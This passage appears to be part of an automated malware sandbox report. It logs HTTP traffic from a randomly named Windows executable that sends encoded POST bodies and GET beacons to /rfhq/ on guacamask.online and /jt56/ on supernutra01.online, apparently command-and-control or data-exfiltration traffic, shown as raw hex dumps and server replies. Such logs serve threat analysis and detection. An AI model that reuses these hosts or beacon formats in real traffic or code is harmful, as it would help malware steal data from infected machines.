20 63 6f 6e 74 65 6e 74 3d 22 5f 63 73 72 66 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 63 73 72 66 2d 74 6f 6b 65 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 68 4b 56 4c 66 34 4c 35 35 70 65 55 46 36 36 62 58 46 43 64 69 33 33 58 4e 34 6a 6d 72 63 32 75 63 32 2d 57 30 50 62 77 74 71 6a 63 6c 51 6f 67 79 5a 57 55 35 5f 6c 77 67 5f 4e 75 43 66 62 37 43 59 46 68 77 36 72 46 68 75 74 43 48 74 32 70 72 72 6e 38 77 67 3d 3d 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f [TRUNCATED] Data Ascii: 31b<!DOCTYPE html><html lang="en-US"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="csrf-param" content="_csrf"> <meta name="csrf-token" content="hKVLf4L55peUF66bXFCdi33XN4jmrc2uc2-W0PbwtqjclQogyZWU5_lwg_NuCfb7CYFhw6rFhutCHt2prrn8wg=="> <title>Not Found (#404)</title> <link href="/css/site.css" rel="stylesheet"></head><body><div class="wrap"> <div class="site-error"> <h1>Not Found (#404)</h1> <div class="alert alert-danger"> Page not found. </div> <p> The above error occurred while the Web server was processing your request. </p> <p> Please contact us if you think this is a server error. Thank you. </p></div></div></bod
Nov 20, 2024 16:54:49.320808887 CET	18	IN	Data Raw: 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: y></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.11	49905	208.91.197.27	80	3920	C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 16:54:55.114777088 CET	786	OUT	POST /rfhq/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.guacamask.online Connection: close Content-Length: 199 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.guacamask.online Referer: http://www.guacamask.online/rfhq/ User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; Moto G Build/LMY48G; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.90 Mobile Safari/537.36 Data Raw: 4b 56 3d 62 41 4f 66 69 65 69 46 6c 63 56 38 64 69 65 63 6f 71 46 4c 6a 56 32 58 2b 35 73 6a 4e 41 66 34 41 63 2f 65 5a 72 78 47 4b 6f 34 58 75 64 43 71 38 70 62 71 61 6e 6c 67 4f 6e 41 39 34 57 72 35 38 7a 45 4b 6a 31 4a 58 30 52 38 65 61 43 33 63 62 66 37 74 66 53 53 2f 63 57 38 6c 39 41 6f 69 42 56 44 69 74 42 48 36 58 58 70 69 45 68 6a 68 72 61 46 71 51 6b 47 6e 45 61 74 45 46 2b 54 37 65 59 70 49 6d 54 43 44 31 55 55 58 44 73 71 55 70 4c 53 79 54 4f 67 50 30 53 42 51 59 58 51 55 6f 6d 4b 4d 34 78 74 64 76 70 66 65 39 49 7a 36 61 33 70 4a 43 52 44 36 54 70 39 5a 34 45 39 39 4a 51 3d 3d Data Ascii: KV=bAOfieiFlcV8diecoqFLjV2X+5sjNAf4Ac/eZrxGKo4XudCq8pbqanlgOnA94Wr58zEKj1JX0R8eaC3cbf7tfSS/cW8l9AoiBVDitBH6XXpiEhjhraFqQkGnEatEF+T7eYpImTCD1UUXDsqUpLSyTOgP0SBQYXQUomKM4xtdvpfe9Iz6a3pJCRD6Tp9Z4E99JQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.11	49912	208.91.197.27	80	3920	C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 16:54:57.781326056 CET	806	OUT	POST /rfhq/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.guacamask.online Connection: close Content-Length: 219 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.guacamask.online Referer: http://www.guacamask.online/rfhq/ User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; Moto G Build/LMY48G; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.90 Mobile Safari/537.36 Data Raw: 4b 56 3d 62 41 4f 66 69 65 69 46 6c 63 56 38 63 44 75 63 76 4c 46 4c 33 46 32 51 37 35 73 6a 43 67 66 30 41 63 37 65 5a 76 42 6f 4c 65 6f 58 76 38 79 71 39 71 44 71 55 48 6c 67 47 48 41 34 6d 6d 72 45 38 30 4d 64 6a 31 31 58 30 52 34 65 61 47 7a 63 59 73 44 69 63 69 53 35 51 32 38 6e 7a 67 6f 69 42 56 44 69 74 41 6e 55 58 54 4e 69 46 51 54 68 72 2b 52 70 4f 55 47 6b 46 61 74 45 42 2b 53 38 65 59 70 36 6d 53 65 6c 31 57 38 58 44 70 47 55 70 65 2b 74 5a 4f 67 46 77 53 41 64 5a 45 41 61 6c 78 54 71 68 42 35 57 37 59 48 53 38 4f 2b 67 4b 55 67 65 42 43 4c 34 48 50 63 70 78 31 59 30 53 55 4e 48 72 31 54 4d 6c 71 64 77 7a 30 75 64 74 6b 6d 45 51 69 38 3d Data Ascii: KV=bAOfieiFlcV8cDucvLFL3F2Q75sjCgf0Ac7eZvBoLeoXv8yq9qDqUHlgGHA4mmrE80Mdj11X0R4eaGzcYsDiciS5Q28nzgoiBVDitAnUXTNiFQThr+RpOUGkFatEB+S8eYp6mSel1W8XDpGUpe+tZOgFwSAdZEAalxTqhB5W7YHS8O+gKUgeBCL4HPcpx1Y0SUNHr1TMlqdwz0udtkmEQi8=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.11	49919	208.91.197.27	80	3920	C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 16:55:00.441749096 CET	1819	OUT	POST /rfhq/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.guacamask.online Connection: close Content-Length: 1231 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.guacamask.online Referer: http://www.guacamask.online/rfhq/ User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; Moto G Build/LMY48G; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.90 Mobile Safari/537.36 Data Raw: 4b 56 3d 62 41 4f 66 69 65 69 46 6c 63 56 38 63 44 75 63 76 4c 46 4c 33 46 32 51 37 35 73 6a 43 67 66 30 41 63 37 65 5a 76 42 6f 4c 65 67 58 75 4f 36 71 38 4b 2f 71 58 48 6c 67 49 6e 41 35 6d 6d 72 6a 38 31 70 31 6a 31 35 48 30 58 6b 65 61 6a 6e 63 64 64 44 69 48 79 53 35 59 57 38 6d 39 41 6f 37 42 56 54 59 74 41 58 55 58 54 4e 69 46 54 4c 68 74 71 46 70 4d 55 47 6e 45 61 74 49 46 2b 53 59 65 63 46 71 6d 53 61 54 32 6d 63 58 44 4a 57 55 72 73 47 74 45 65 67 44 39 79 42 4f 5a 45 4e 59 6c 31 37 78 68 43 6c 73 37 59 2f 53 2f 5a 58 43 52 67 6f 44 44 51 36 4d 54 38 6b 4a 30 51 6b 54 54 7a 35 77 6c 30 65 2f 2b 2b 5a 65 35 30 7a 34 2b 33 32 61 4f 31 43 73 75 39 4e 4c 43 32 78 78 6e 59 64 30 65 6e 35 57 41 6a 77 72 47 6f 67 34 46 38 68 70 55 51 53 39 6d 66 46 6f 4a 32 73 76 38 38 52 6f 7a 42 4e 52 2f 48 74 61 36 6b 74 71 59 63 66 72 33 66 4f 6d 55 63 34 65 34 5a 55 68 61 4a 6b 46 68 42 78 4b 51 35 74 6a 4e 68 67 42 50 43 6b 65 54 77 41 61 51 52 47 55 4c 66 52 74 41 67 78 66 31 38 53 62 45 6b 65 4f 55 56 48 [TRUNCATED] Data Ascii: KV=bAOfieiFlcV8cDucvLFL3F2Q75sjCgf0Ac7eZvBoLegXuO6q8K/qXHlgInA5mmrj81p1j15H0XkeajncddDiHyS5YW8m9Ao7BVTYtAXUXTNiFTLhtqFpMUGnEatIF+SYecFqmSaT2mcXDJWUrsGtEegD9yBOZENYl17xhCls7Y/S/ZXCRgoDDQ6MT8kJ0QkTTz5wl0e/++Ze50z4+32aO1Csu9NLC2xxnYd0en5WAjwrGog4F8hpUQS9mfFoJ2sv88RozBNR/Hta6ktqYcfr3fOmUc4e4ZUhaJkFhBxKQ5tjNhgBPCkeTwAaQRGULfRtAgxf18SbEkeOUVHFUm1v/ToufZwSy2sGr3+PPw5ixyOB/BNuGg+xPrpa+W+Vg2ld0PYCswJhn8TGW/OiKIzOvN/Mp/pVndq+1bXrewsry7eWzZqGcm7sjMpb7+31+W/xWBEkb3w3DiRBlSJS+rY5zLBDr5ObyBeEbfOdyHD76xT4+0iTUKbohO+XvpIbsa+EdP3X/Gxr5hcJO5JWlxAQPDvzQ7X49rrOt+SfW6EW9CWxH4b6oN3leHD1gHdQ9vlcvUEMkQtzKXh6U4qnjm8dt6R+3n8X8xwysvdXD4uuYMBw+e5nk2i0hjC+O9Z92+Ws6bl/wvICYoYBPC/DXGZLEzzSZnH8Z24UH2pfe48feuPrZlv5KYu8YRGTICRc9O/XX3DMQDusr7WReFZUgIMnOG/h4oXHlhVjKFa/04qmuwVenBlkjbnERlrCC6ba1/Ydzrj4C49eF1zw7u17cmzo4M5GLuo9Y0nNaEnLPh+KDVOD5bj2/qGe1fOSqcopFctzznU5fn40Auwyj6G6zypmQ6lnB0YF1zh/yys9q6tHPAcYv3zJ+z6jLv65II8FHkuDUJlnRYrxATI1jueHaFw2Upd6Wbx/WOu8rc0oSN4XadDWjhrTkRYqUCZXT+1UnJt+VggAZrz7eF7afxfFQS89Q4ejEnoRO+wH3CI3Nj64wmR/jISmi [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.11	49925	208.91.197.27	80	3920	C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 16:55:03.115202904 CET	508	OUT	GET /rfhq/?KV=WCm/hpCimsJ9ehq7lKIv1VDyybMiIAv0Npn9YOFuJ9oZ3M+13oCVUFgjBEgQ3CHtpzgI5GBo5BBlGxqkDMLBEiy3WEQe219nV0S5mknFQQ1hIDuAzNxIBCE=&Wno=a0qDq HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.guacamask.online Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; Moto G Build/LMY48G; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.90 Mobile Safari/537.36
Nov 20, 2024 16:55:06.930114031 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:55:04 GMT Server: Apache Referrer-Policy: no-referrer-when-downgrade Accept-CH: Sec-CH-Save-Data, Sec-CH-DPR, Sec-CH-Width, Sec-CH-Viewport-Width, Sec-CH-Viewport-Height, Sec-CH-Device-Memory, Sec-CH-RTT, Sec-CH-Downlink, Sec-CH-ECT, Sec-CH-Prefers-Color-Scheme, Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-platform-version=("https://dts.gnpge.com"), ch-ua-model=("https://dts.gnpge.com") Set-Cookie: vsid=911vr4796637042727196; expires=Mon, 19-Nov-2029 15:55:04 GMT; Max-Age=157680000; path=/; domain=www.guacamask.online; HttpOnly X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_HgE7neUuKvOb5D2hXMtYQw1KQ+5y23WBIEe5XvWT5CBE8InVOF+6yu3L8xNNJ1GyHWlyNF/eurHzqI0OuycxXg== Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Connection: close Data Raw: 62 38 64 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 65 6c 69 76 65 72 79 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 3e 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 3e 0d Data Ascii: b8df<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><link rel="preconnect" href="https://delivery.consentmanager.net"> <link rel="preconnect" href="https://cdn.consentmanager.net">
Nov 20, 2024 16:55:06.930134058 CET	109	IN	Data Raw: 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 63 6d 70 5f 73 74 61 79 69 6e 69 66 72 61 6d 65 20 3d 20 31 3b 20 77 69 6e 64 6f 77 2e 63 6d 70 5f 64 6f 6e 74 6c 6f 61 64 69 6e 69 66 72 Data Ascii: <script>window.cmp_stayiniframe = 1; window.cmp_dontloadiniframe = true; if(!"gdprApplie
Nov 20, 2024 16:55:06.930278063 CET	1236	IN	Data Raw: 73 47 6c 6f 62 61 6c 6c 79 22 20 69 6e 20 77 69 6e 64 6f 77 29 7b 77 69 6e 64 6f 77 2e 67 64 70 72 41 70 70 6c 69 65 73 47 6c 6f 62 61 6c 6c 79 3d 74 72 75 65 7d 69 66 28 21 28 22 63 6d 70 5f 69 64 22 20 69 6e 20 77 69 6e 64 6f 77 29 7c 7c 77 69 Data Ascii: sGlobally" in window){window.gdprAppliesGlobally=true}if(!("cmp_id" in window)\|\|window.cmp_id<1){window.cmp_id=0}if(!("cmp_cdid" in window)){window.cmp_cdid="21fdca2281833"}if(!("cmp_params" in window)){window.cmp_params=""}if(!("cmp_host" in
Nov 20, 2024 16:55:06.930301905 CET	1236	IN	Data Raw: 72 65 74 75 72 6e 20 63 6d 70 5f 67 65 74 6c 61 6e 67 2e 75 73 65 64 6c 61 6e 67 7d 76 61 72 20 67 3d 77 69 6e 64 6f 77 2e 63 6d 70 5f 67 65 74 73 75 70 70 6f 72 74 65 64 4c 61 6e 67 73 28 29 3b 76 61 72 20 63 3d 5b 5d 3b 76 61 72 20 66 3d 6c 6f Data Ascii: return cmp_getlang.usedlang}var g=window.cmp_getsupportedLangs();var c=[];var f=location.hash;var e=location.search;var a="languages" in navigator?navigator.languages:[];if(f.indexOf("cmplang=")!=-1){c.push(f.substr(f.indexOf("cmplang=")+8,2).
Nov 20, 2024 16:55:06.930315018 CET	1236	IN	Data Raw: 70 65 72 43 61 73 65 28 29 29 7b 6f 3d 22 65 6e 22 3b 62 72 65 61 6b 7d 7d 7d 62 3d 22 5f 22 2b 6f 7d 66 75 6e 63 74 69 6f 6e 20 78 28 69 2c 65 29 7b 76 61 72 20 77 3d 22 22 3b 69 2b 3d 22 3d 22 3b 76 61 72 20 73 3d 69 2e 6c 65 6e 67 74 68 3b 76 Data Ascii: perCase()){o="en";break}}}b="_"+o}function x(i,e){var w="";i+="=";var s=i.length;var d=location;if(d.hash.indexOf(i)!=-1){w=d.hash.substr(d.hash.indexOf(i)+s,9999)}else{if(d.search.indexOf(i)!=-1){w=d.search.substr(d.search.indexOf(i)+s,9999)}
Nov 20, 2024 16:55:06.930357933 CET	1236	IN	Data Raw: 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3b 6a 2e 61 73 79 6e 63 3d 74 72 75 65 3b 69 66 28 75 2e 63 75 72 72 65 6e 74 53 63 72 69 70 74 26 26 75 2e 63 75 72 72 65 6e 74 53 63 72 69 70 74 2e 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 29 7b Data Ascii: "text/javascript";j.async=true;if(u.currentScript&&u.currentScript.parentElement){u.currentScript.parentElement.appendChild(j)}else{if(u.body){u.body.appendChild(j)}else{var t=v("body");if(t.length==0){t=v("div")}if(t.length==0){t=v("span")}if
Nov 20, 2024 16:55:06.930371046 CET	1236	IN	Data Raw: 77 26 26 22 63 6d 70 5f 75 6c 74 72 61 62 6c 6f 63 6b 69 6e 67 22 20 69 6e 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 63 6d 70 5f 75 6c 74 72 61 62 6c 6f 63 6b 69 6e 67 3e 30 29 7b 61 2e 73 72 63 3d 22 2f 2f 22 2b 77 69 6e 64 6f 77 2e 63 6d Data Ascii: w&&"cmp_ultrablocking" in window&&window.cmp_ultrablocking>0){a.src="//"+window.cmp_cdn+"/delivery/empty.html"}a.name=b;a.setAttribute("title","Intentionally hidden, please ignore");a.setAttribute("role","none");a.setAttribute("tabindex","-1")
Nov 20, 2024 16:55:06.930382967 CET	1236	IN	Data Raw: 61 2e 6c 65 6e 67 74 68 3d 3d 34 26 26 61 5b 33 5d 3d 3d 3d 66 61 6c 73 65 29 7b 61 5b 32 5d 28 7b 7d 2c 66 61 6c 73 65 29 7d 65 6c 73 65 7b 5f 5f 63 6d 70 2e 61 2e 70 75 73 68 28 5b 5d 2e 73 6c 69 63 65 2e 61 70 70 6c 79 28 61 29 29 7d 7d 7d 7d Data Ascii: a.length==4&&a[3]===false){a[2]({},false)}else{__cmp.a.push([].slice.apply(a))}}}}}}};window.cmp_gpp_ping=function(){return{gppVersion:"1.0",cmpStatus:"stub",cmpDisplayStatus:"hidden",supportedAPIs:["tcfca","usnat","usca","usva","usco","usut",
Nov 20, 2024 16:55:06.930393934 CET	1236	IN	Data Raw: 64 6c 65 72 3d 66 75 6e 63 74 69 6f 6e 28 64 29 7b 76 61 72 20 61 3d 74 79 70 65 6f 66 20 64 2e 64 61 74 61 3d 3d 3d 22 73 74 72 69 6e 67 22 3b 74 72 79 7b 76 61 72 20 63 3d 61 3f 4a 53 4f 4e 2e 70 61 72 73 65 28 64 2e 64 61 74 61 29 3a 64 2e 64 Data Ascii: dler=function(d){var a=typeof d.data==="string";try{var c=a?JSON.parse(d.data):d.data}catch(f){var c=null}if(typeof(c)==="object"&&c!==null&&"__cmpCall" in c){var b=c.__cmpCall;window.__cmp(b.command,b.parameter,function(h,g){var e={__cmpRetur
Nov 20, 2024 16:55:06.930448055 CET	1236	IN	Data Raw: 66 28 77 69 6e 64 6f 77 5b 61 5d 29 3d 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 7c 7c 77 69 6e 64 6f 77 5b 61 5d 21 3d 3d 6e 75 6c 6c 29 29 29 7b 77 69 6e 64 6f 77 5b 61 5d 3d 77 69 6e 64 6f 77 2e 63 6d 70 5f 73 74 75 62 3b 77 69 6e 64 6f 77 5b 61 Data Ascii: f(window[a])==="undefined"\|\|window[a]!==null))){window[a]=window.cmp_stub;window[a].msgHandler=window.cmp_msghandler;window.addEventListener("message",window.cmp_msghandler,false)}};window.cmp_setGppStub=function(a){if(!(a in window)\|\|(typeof(
Nov 20, 2024 16:55:07.050081015 CET	1236	IN	Data Raw: 63 68 3d 31 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 75 61 63 61 6d 61 73 6b 2e 6f 6e 6c 69 6e 65 2f 70 78 2e Data Ascii: ch=1"></script><script type="text/javascript" src="http://www.guacamask.online/px.js?ch=2"></script><script type="text/javascript">function handleABPDetect(){try{if(!abp) return;var imglog = document.createElement("img");imglog.style.height="0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.11	49948	172.67.220.36	80	3920	C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 16:55:12.960253000 CET	795	OUT	POST /jt56/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.supernutra01.online Connection: close Content-Length: 199 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.supernutra01.online Referer: http://www.supernutra01.online/jt56/ User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; Moto G Build/LMY48G; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.90 Mobile Safari/537.36 Data Raw: 4b 56 3d 36 4e 71 6a 49 2b 76 79 6b 48 78 31 33 65 72 73 6d 63 75 69 68 76 68 34 56 79 4c 63 49 75 33 49 78 6e 6c 71 58 46 32 33 44 65 47 4a 7a 79 45 30 42 6d 37 46 38 53 79 67 39 2b 6a 6b 48 38 55 6e 75 37 30 70 38 49 4d 70 6e 71 58 43 6f 6b 7a 74 4e 4b 6c 4e 57 77 39 56 6e 53 34 77 56 2b 36 4d 55 37 2b 38 68 4d 6f 42 49 65 2b 7a 78 6c 47 41 44 4c 34 64 51 5a 6b 69 2f 2f 56 7a 4f 71 4d 32 79 38 32 70 6d 4e 55 51 38 50 53 54 44 7a 33 42 39 69 69 67 42 45 4f 31 2b 6f 2f 7a 76 34 63 6b 6b 5a 61 54 34 48 51 4b 79 6b 7a 6a 47 48 49 4a 75 42 56 4b 74 79 77 70 66 71 43 4b 31 61 64 6c 6a 67 3d 3d Data Ascii: KV=6NqjI+vykHx13ersmcuihvh4VyLcIu3IxnlqXF23DeGJzyE0Bm7F8Syg9+jkH8Unu70p8IMpnqXCokztNKlNWw9VnS4wV+6MU7+8hMoBIe+zxlGADL4dQZki//VzOqM2y82pmNUQ8PSTDz3B9iigBEO1+o/zv4ckkZaT4HQKykzjGHIJuBVKtywpfqCK1adljg==
Nov 20, 2024 16:55:14.343144894 CET	1236	IN	HTTP/1.1 405 Not Allowed Date: Wed, 20 Nov 2024 15:55:14 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BbfpvCicva%2BYL7236uuVdjPE15rMjzR8%2FmWZ2tKjScTSaBpc4fzcw1ZnX47g7w3PhbiDPiBHvokszis1TIMn33iZlrQ6RH9HX11s1pjfW2QsXUsKhmivRJyp%2FQZJ4a1NmGRCLBaDT81W7Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e599f83fb0c0f46-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1663&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=795&delivery_rate=0&cwnd=239&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 32 32 66 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 36 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: 22f<html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.26.2</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome frien
Nov 20, 2024 16:55:14.343223095 CET	89	IN	Data Raw: 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 Data Ascii: dly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Nov 20, 2024 16:55:14.343369007 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.11	49954	172.67.220.36	80	3920	C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 16:55:15.628317118 CET	815	OUT	POST /jt56/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.supernutra01.online Connection: close Content-Length: 219 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.supernutra01.online Referer: http://www.supernutra01.online/jt56/ User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; Moto G Build/LMY48G; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.90 Mobile Safari/537.36 Data Raw: 4b 56 3d 36 4e 71 6a 49 2b 76 79 6b 48 78 31 33 37 37 73 67 2f 47 69 67 50 68 37 61 53 4c 63 47 4f 33 4d 78 6e 70 71 58 45 43 6e 44 73 69 4a 71 51 63 30 43 6e 37 46 73 43 79 67 70 75 6a 6c 44 38 56 6c 75 37 35 65 38 4a 77 70 6e 75 48 43 6f 6d 37 74 4e 39 4a 4f 58 67 39 54 7a 69 34 32 57 4f 36 4d 55 37 2b 38 68 4d 4e 63 49 65 6d 7a 79 56 57 41 44 75 59 65 4d 4a 6b 68 6f 50 56 7a 4b 71 4d 79 79 38 32 58 6d 4d 34 70 38 4d 71 54 44 79 48 42 39 77 4b 6a 49 45 4f 2f 7a 49 2b 65 2f 36 52 79 68 5a 2b 66 2f 46 73 38 77 6e 6e 56 4f 68 46 54 2b 69 63 64 75 68 34 72 4c 4d 6a 36 38 72 34 73 34 72 4f 63 35 54 6b 4c 46 39 6a 58 53 44 33 35 6c 39 51 77 38 75 45 3d Data Ascii: KV=6NqjI+vykHx1377sg/GigPh7aSLcGO3MxnpqXECnDsiJqQc0Cn7FsCygpujlD8Vlu75e8JwpnuHCom7tN9JOXg9Tzi42WO6MU7+8hMNcIemzyVWADuYeMJkhoPVzKqMyy82XmM4p8MqTDyHB9wKjIEO/zI+e/6RyhZ+f/Fs8wnnVOhFT+icduh4rLMj68r4s4rOc5TkLF9jXSD35l9Qw8uE=
